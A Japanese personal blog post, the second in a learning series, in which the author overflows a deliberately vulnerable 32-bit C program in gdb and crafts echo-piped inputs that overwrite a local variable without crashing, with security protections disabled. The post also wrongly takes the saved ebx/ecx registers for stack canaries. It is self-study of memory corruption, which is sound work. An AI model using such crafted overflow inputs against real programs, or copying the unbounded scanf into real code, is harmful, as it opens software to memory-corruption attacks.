バッファオーバーフロー脆弱性について ②Segmentation faultを迂回させる

前回でやったこと

taichisouma.hatenablog.com

なんか、バッファオーバーフローさせるたびに毎回Segmentation faultが発生するし、 Segmentation faultが起こっていると完全にHackしている感じがわかないし、 どうやったらSegmentation faultを迂回することができるんだろうと思い、試行錯誤した結果Segmentation faultを迂回させることができたのでその方法について今回は書いていきたいと思う。

実行環境

実行環境は下記の通り。

$ uname -a
Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux
$ gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

使用するプログラム1

前回と同様に下記のプログラムを使用する。

#include <stdio.h>

int main(int argc, char *argv[]){
    int  var1 = 1;
    char var2[8];

    printf("var1's address   : %p\n",   &var1);
    printf("var2's address   : %p\n",   var2);
    printf("var2's size      : %d\n\n", sizeof(var2));
    
    printf("var1's values    : %d\n\n", var1);
    
    printf("input for var2 >>> ");
    scanf("%s", var2);

    printf("var1's values    : %d\n\n", var1);

    return 0;
}

gdbデバッガ

gdbデバッガを用いて解析していく。
まずはBreak pointを設定するためにプログラムを表示させる。

$ gdb -q ./local_variables1
Reading symbols from ./local_variables1...done.
(gdb) list
1   #include <stdio.h>
2   
3   
4   
5   int main(int argc, char *argv[]){
6       int  var1 = 1;
7       char var2[8];
8   
9       printf("var1's address   : %p\n",   &var1);
10      printf("var2's address   : %p\n",   var2);
(gdb) 
11      printf("var2's size      : %d\n\n", sizeof(var2));
12      
13      printf("var1's values    : %d\n\n", var1);
14      
15      printf("input for var2 >>> ");
16      scanf("%s", var2);
17  
18      printf("var1's values    : %d\n\n", var1);
19  
20  
(gdb) 
21      return 0;
22  }

Break pointをscanfの入力前の14番と入力後の19番に設定。

(gdb) break 14
Breakpoint 1 at 0x66a: file local_variables1.c, line 14.
(gdb) break 18
Breakpoint 2 at 0x692: file local_variables1.c, line 18.

では、実行してみる。

(gdb) run
Starting program: /home/study/BufferOverflow/LocalVariables/local_variables1 
var1's address   : 0xffffd25c
var2's address   : 0xffffd254
var2's size      : 8

var1's values    : 1


Breakpoint 1, main (argc=1, argv=0xffffd314) at local_variables1.c:15
15      printf("input for var2 >>> ");

次にmain関数のスタックフレームを解析してみる。
スタックポインタレジスタ(exp)とベースポインタレジスタ(ebp)、インストラクションポインタレジスタ(eip)の値を見てみる。

(gdb) info registers esp ebp eip
esp            0xffffd250   0xffffd250
ebp            0xffffd268   0xffffd268
eip            0x5655566a   0x5655566a <main+122>

上記2つの結果を踏まえると、ebpの値がをmain関数のスタックフレームの底のアドレスで、そこから12つ上に変数var1のアドレスが、またその8つ上に変数var2のアドレスがスタック上に存在していることがわかる。
また、espの値はスタック上に存在する変数var2のアドレスの4つ上のアドレスを指していることがわかる。

ここで一つ疑問が芽生える。
SSPを無効化しているのに何故ebpとローカル変数の間に領域があるのだろうか。

SSP無効化されていない説

SSP無効化されていないのではないかと思い、逆アセンブルしてアセンブラを解析してみる。

(gdb) disas main
Dump of assembler code for function main:
   0x565555f0 <+0>:   lea    ecx,[esp+0x4]
   0x565555f4 <+4>:   and    esp,0xfffffff0
   0x565555f7 <+7>:   push   DWORD PTR [ecx-0x4]
   0x565555fa <+10>:  push   ebp
   0x565555fb <+11>:  mov    ebp,esp
   0x565555fd <+13>:  push   ebx
   0x565555fe <+14>:  push   ecx
   0x565555ff <+15>:  sub    esp,0x10
   0x56555602 <+18>:  call   0x565554c0 <__x86.get_pc_thunk.bx>
   0x56555607 <+23>:  add    ebx,0x19f9
   0x5655560d <+29>:  mov    DWORD PTR [ebp-0xc],0x1
   0x56555614 <+36>:  sub    esp,0x8
   0x56555617 <+39>:  lea    eax,[ebp-0xc]
   0x5655561a <+42>:  push   eax
   0x5655561b <+43>:  lea    eax,[ebx-0x18c0]
   0x56555621 <+49>:  push   eax
   0x56555622 <+50>:  call   0x56555440 <printf@plt>
   0x56555627 <+55>:  add    esp,0x10
   0x5655562a <+58>:  sub    esp,0x8
   0x5655562d <+61>:  lea    eax,[ebp-0x14]
   0x56555630 <+64>:  push   eax
   0x56555631 <+65>:  lea    eax,[ebx-0x18a9]
   0x56555637 <+71>:  push   eax
   0x56555638 <+72>:  call   0x56555440 <printf@plt>
   0x5655563d <+77>:  add    esp,0x10
   0x56555640 <+80>:  sub    esp,0x8
   0x56555643 <+83>:  push   0x8
   0x56555645 <+85>:  lea    eax,[ebx-0x1892]
   0x5655564b <+91>:  push   eax
   0x5655564c <+92>:  call   0x56555440 <printf@plt>
   0x56555651 <+97>:  add    esp,0x10
   0x56555654 <+100>: mov    eax,DWORD PTR [ebp-0xc]
   0x56555657 <+103>: sub    esp,0x8
   0x5655565a <+106>: push   eax
   0x5655565b <+107>: lea    eax,[ebx-0x187a]
   0x56555661 <+113>: push   eax
---Type <return> to continue, or q <return> to quit---
   0x56555662 <+114>: call   0x56555440 <printf@plt>
   0x56555667 <+119>: add    esp,0x10
=> 0x5655566a <+122>:  sub    esp,0xc
   0x5655566d <+125>: lea    eax,[ebx-0x1862]
   0x56555673 <+131>: push   eax
   0x56555674 <+132>: call   0x56555440 <printf@plt>
   0x56555679 <+137>: add    esp,0x10
   0x5655567c <+140>: sub    esp,0x8
   0x5655567f <+143>: lea    eax,[ebp-0x14]
   0x56555682 <+146>: push   eax
   0x56555683 <+147>: lea    eax,[ebx-0x184e]
   0x56555689 <+153>: push   eax
   0x5655568a <+154>: call   0x56555460 <__isoc99_scanf@plt>
   0x5655568f <+159>: add    esp,0x10
   0x56555692 <+162>: mov    eax,DWORD PTR [ebp-0xc]
   0x56555695 <+165>: sub    esp,0x8
   0x56555698 <+168>: push   eax
   0x56555699 <+169>: lea    eax,[ebx-0x187a]
   0x5655569f <+175>: push   eax
   0x565556a0 <+176>: call   0x56555440 <printf@plt>
   0x565556a5 <+181>: add    esp,0x10
   0x565556a8 <+184>: mov    eax,0x0
   0x565556ad <+189>: lea    esp,[ebp-0x8]
   0x565556b0 <+192>: pop    ecx
   0x565556b1 <+193>: pop    ebx
   0x565556b2 <+194>: pop    ebp
   0x565556b3 <+195>: lea    esp,[ecx-0x4]
   0x565556b6 <+198>: ret    
End of assembler dump.

見てもらいたいのは"0x565555f0"から"0x56555607"のところ。
これ、僕の知ってる関数のプロローグじゃないです(汗)
ebp加えてebxとecxがpushされているし、これ絶対SSPのCanary領域のためですよね!?
gccの-fno-stack-protectorオプションでSSPは無効化しているはずなんですが…。
SSPを有効化させて実行し、SSP無効化状態との違いを探ってみる。

SSPを有効にして実行

ますはコンパイル

$ gcc -m32 -g -fstack-protector local_variables1.c
実行してみる。
$ ./a.out 
var1's address   : 0xffffd2e0
var2's address   : 0xffffd2e4
var2's size      : 8

var1's values    : 1

input for var2 >>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
var1's values    : 1

*** stack smashing detected ***: ./a.out terminated
Segmentation fault

どうやら入力値が変数var2の領域を越え、変数var1の領域まで達したことを検出しているらしい。
-fno-stack-protectorオプションはこれを無効化しているのかな!?。
Canary領域の無効化はどうやってするのだろうか。gccのバージョンによるものなのかな!?
今後検証していきたいと思う。

どうやらSegmentation faultの原因はスタック上にebxとecxがCanary領域として存在しているためであると想定される。
じゃあ、入力値をスタック上のebxとecxの値を書き換えずに変数var1に書き換えたい値を入力すればSegmentation faultを迂回させることができるのでは!?
実際にやってみよう。

Segmentation faultを迂回させるための準備

それでは検証する前に下準備。
スタック上に格納されているebxとecxの値を調べることから始める。
(今後、main関数のスタックフレーム上で用いられているebxとecxとを区別するために、スタック上に格納されているebxとecxをそれぞれsaved ebx、saved ecxと呼ぶことにする。)

(gdb) x/16x $esp
0xffffd250: 0x00000001  0xffffd314  0xffffd31c  0x00000001
0xffffd260: 0xffffd280  0x00000000  0x00000000  0xf7e12276
0xffffd270: 0x00000001  0xf7fad000  0x00000000  0xf7e12276
0xffffd280: 0x00000001  0xffffd314  0xffffd31c  0x00000000

スタックの先頭を指しているespの値から下に向かって4バイト単位で16つ格納されている値を16進数で表示させている。一番左の数値はスタック上のアドレスを示している。
変数var2のアドレスは"0xffffd25"なので"0xffffd314"と"0xffffd31c"の値が、変数var1のアドレスは"0xffffd2c"なので、"0x00000001"が格納されていることが見てわかる。
実際にそうなのかどうか値を入力して検証してみる。

(gdb) cont
Continuing.
input for var2 >>> aaaaaaaaaaa                           

Breakpoint 2, main (argc=1, argv=0xffffd314) at local_variables1.c:18
18      printf("var1's values    : %d\n\n", var1);
(gdb) x/16x $esp
0xffffd250: 0x00000001  0x61616161  0x61616161  0x00616161
0xffffd260: 0xffffd280  0x00000000  0x00000000  0xf7e12276
0xffffd270: 0x00000001  0xf7fad000  0x00000000  0xf7e12276
0xffffd280: 0x00000001  0xffffd314  0xffffd31c  0x00000000

contコマンドで次のBreak pointまで進めて値を入力。上記では11文字(“aaaaaaaaaaa”)を入力値とした。
スタックの中を見てみると、変数var2の領域はもちろん変数var1の領域にまで文字列が代入されていることが見てわかる。

では、saved ebxとsaved ecxの値を見ていく。
saved ebxが格納されてるアドレスはスタックの底から2番目なのでebp - 4、すなわち"0xffffd264"にsaved ebxの値が格納されていることがわかる。
また、saved ecxが格納されているアドレスはスタックの底から3番目なのでebp - 8、すなわち"0xffffd260"にsaved ecxの値が格納されていることがわかる。
上記より、スタックに格納されたsaved ebxとsaved ecxの値を見るとsaved ebxは"0x00000000"が、saved ecxには"0xffffd280"が格納されていることが見てわかる。

Segmentation faultを迂回させる!?

上記の結果より、入力値を設定し実行させてみる。

 echo -e 'aaaaaaaa\x2\x0\x0\x0\x80\xd2\xff\xff' | ./local_variables1
var1's address   : 0xffffd2cc
var2's address   : 0xffffd2c4
var2's size      : 8

var1's values    : 1

input for var2 >>> var1's values    : 2

Segmentation fault

!?!?!?!?!?!?…あれ!?迂回できてなくね!?
ここからとても悩みました。理論的には迂回できるはずなのに何故かできない。考えて考えて考えて、ふと気づいた。
実行するときgdbデバッガから実行しているから、実行形式がgdbの子プロセルになっていて、実行形式単体で実行したときには変数のアドレスとかスタック領域のアドレスとか領域の値とは変わってくるんじゃね!?
これが正しけれはgdbで得られた情報を基に実行しても迂回できない。
ってことで検証する。

使用するプログラム2

プログラム1では検証することができないので、下記のプログラムを使用して検証する。

#include <stdio.h>

int main(int argc, char *argv[]){
    int  var1 = 1;
    char var2[8];

    printf("var1's address         : %p\n",   &var1);
    printf("var2's address         : %p\n",   var2);
    printf("var2's size            : %d\n\n", sizeof(var2));
    
    printf("saved ecx's  address   : %p\n",   &var1 + 1);
    printf("saved ebx's  address   : %p\n",   &var1 + 2);
    printf("saved ebp's  address   : %p\n\n", &var1 + 3);
    
    printf("var1's values          : %d\n\n", var1);
    printf("saved ecx's  values    : %p\n",   *(&var1 + 1));
    printf("saved ebx's  values    : %p\n",   *(&var1 + 2));
    printf("saved ebp's  values    : %p\n\n", *(&var1 + 3));
    
    printf("input for var2       >>> ");
    scanf("%s", var2);

    printf("var1's variable        : %d\n\n", var1);
    printf("saved ecx's  values    : %p\n",   *(&var1 + 1));
    printf("saved ebx's  values    : %p\n",   *(&var1 + 2));
    printf("saved ebp's  values    : %p\n\n", *(&var1 + 3));

    return 0;
}

ASLRは無効化されているので、実行する度に変数のアドレスやスタックのアドレスなどは変わらない。

$ ./local_variables1-1
var1's address         : 0xffffd2bc
var2's address         : 0xffffd2b4
var2's size            : 8

saved ecx's  address   : 0xffffd2c0
saved ebx's  address   : 0xffffd2c4
saved ebp's  address   : 0xffffd2c8

var1's values          : 1

saved ecx's  values    : 0xffffd2e0
saved ebx's  values    : (nil)
saved ebp's  values    : (nil)

input for var2       >>> aaaa
var1's variable        : 1

saved ecx's  values    : 0xffffd2e0
saved ebx's  values    : (nil)
saved ebp's  values    : (nil)

上記の結果よりsaved ecxの値は"0xffffd2e0"だということがわかったので、これを基にSegmentation falutを迂回させる入力を与えて実行してみる。

Segmentation faultを迂回させる!!!

$ echo -e 'aaaaaaaa\x78\x56\x43\x12\xe0\xd2\xff\xff' | ./local_variables1-1
var1's address         : 0xffffd2cc
var2's address         : 0xffffd2c4
var2's size            : 8

saved ecx's  address   : 0xffffd2d0
saved ebx's  address   : 0xffffd2d4
saved ebp's  address   : 0xffffd2d8

var1's values          : 1

saved ecx's  values    : 0xffffd2f0
saved ebx's  values    : (nil)
saved ebp's  values    : (nil)

input for var2       >>> var1's variable        : 306402936

saved ecx's  values    : 0xffffd2e0
saved ebx's  values    : (nil)
saved ebp's  values    : (nil)

上記より、Segmentation falutを迂回させることができていることが確認できる。
やりましたよー。迂回できましたよー。良いお勉強になりました。情報を鵜呑みにしてはいけないんだなと感じました。
自分の手で実際に検証することで得られる知識は何ものにも代えがたいなと思いました。

ここでスタック領域について補足。一般的にある関数Aからある関数Bが呼ばれた場合、関数Aの次の命令を実行するためにスタックに関数Aのリターンアドレス(eip)を格納する。
このリターンアドレス任意の値に書き換えることができれば任意の命令を実行させることができるらしい。
ほんとにそうなのか!?

次回はリターンアドレスをmain関数の先頭に書き換えることができたことについて書いていきたいと思う。

使用したプログラム

github.com